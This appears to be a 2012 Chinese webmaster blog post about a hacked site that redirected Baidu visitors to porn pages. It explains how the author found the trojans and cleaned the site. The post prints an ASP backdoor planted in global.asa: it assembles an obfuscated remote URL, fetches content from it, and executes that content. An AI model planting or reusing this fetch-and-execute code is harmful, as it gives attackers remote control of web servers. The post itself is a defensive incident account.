当前位置:首页 >  站长 >  建站经验 >  正文

网站被跳转的解决办法

 2012-06-29 09:34  来源:   我来投稿 撤稿纠错

  【推荐】海外独服/站群服务器/高防

这几天网站的排名,一直在不停的浮动。在seowhy论坛里发现也有许多的网站,也和我一样都排在了一百页以外去了。 这种情况在seo业界里被称为 “百度的端午期”。现在距离百度的端午期已经过了整整有一个星期了,很多朋友的网站都开始慢慢恢复排名了,但是俺的网站排名还是被排在了千里之外。有点匪夷所思!无奈为了网站的排名,从头开始为网站做了详细的分析。

足够的分析,洞察未来!

首先打开百度,site:自己的网站、发现网站收录有点异常,再仔细翻页一看,我的吗呀!网站竟然被收录一些黄色和色情之类的垃圾页面和标题。从百度搜索进入网站的时候,网站被自动跳转到了这个页面,而且还被360安全提示为木马网站。截图如下:

 

我从来没遇到过这种情况啊,这几天自己打开网站也没出现过跳转啊,怎么网站会突然的跳转到色情页面上去了呢?有点搞不明白了。 在网上也搜索了许多相关跳转的文章,发现了都有一个共同的特征,就是收录了些色情黄色之类标题内容的快照,从百度搜索来的自动跳转到黄色的网站上,从原网站登录进来的不会出现跳转(就是自己输入网址打开自己网站不会出现跳转)。 这种种的情况,让我开始怀疑网站是不是被黑了呀,网站是不是被中了木马呀,种种的猜测,也越来越多。

理清头绪,才能找到问题所在!

应该从网站的源代码方面开始分析,首先登录FTP把源程序下载到了本地,用 sinesafe网站木马检测了下,发现了三个木马,分别是 global.asa cende.asp about.asp ,其中一个是明文的木马代码,代码如下:

sub Session_OnStart

url="h"&"t"&"t"&"p"&":"&"/"&"/"&"t"&"72"&""&"."&"q"&"u"&"3"&"4"&"5"&"6"&"."&

Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")

ObjXMLHTTP.Open "GET",url,False

ObjXMLHTTP.setRequestHeader "User-Agent", url

ObjXMLHTTP.send

GetHtml=ObjXMLHTTP.responseBody

Set ObjXMLHTTP=Nothing

set objStream = Server.CreateObject("Adodb.Stream")

objStream.Type = 1

objStream.Mode = 3

objStream.Open

objStream.Write GetHtml

objStream.Position = 0

objStream.Type = 2

objStream.Charset = "gb2312"

GetHtml = objStream.ReadText

objStream.Close

if instr(GetHtml,"[elvis]") > 0 then Execute(GetHtml)

end sub

这些代码很明显不是我网站原有的,找了一位程序设计的朋友咨询了这段代码的作用,说是利用了global.asa 这个特殊的文件,来远程获取内容和标题的作用。 我这才明白过来,原来网站收录了这么多垃圾的黄色页面,就是这个木马搞的鬼,木马从远程服务器获取内容,并吸引百度的蜘蛛来抓取并收录。 种种的原因已经分析的很透彻了,木马欺骗了百度蜘蛛并让蜘蛛大量的收录垃圾页面,对于网站的权重必然会有很大的降权,所以排名才会拒之千里!

知道了原因,解决就有了办法!

把刚才检测出来的三个木马文件,删除掉即可。然后把ftp空间的程序清空掉,把删除掉木马的程序文件重新上传到空间,重新打开网站,网站跳转的问题也就解决了。最后打开百度的投诉中心 把网站的快照地址 填写一下 并提交投诉,百度会在一星期内处理,网站排名和收录的问题也会得到最终的完美解决。

自始至终,解决问题的办法是离不开详细的分析。只有分析的足够,才能足够的解决问题。以上就是我个人分析以及解决问题的办法,希望能帮到更多和我一样的人,帮助别人也是在帮助自己,积德行善,在人生的道路上你才会走的更远!

本文章内容来源 网站安全 www.sinesafe.cn A5首发欢迎转载,转载请注明作者和出处。谢谢!

申请创业报道,分享创业好点子。点击此处,共同探讨创业新机遇!

相关文章

热门排行

信息推荐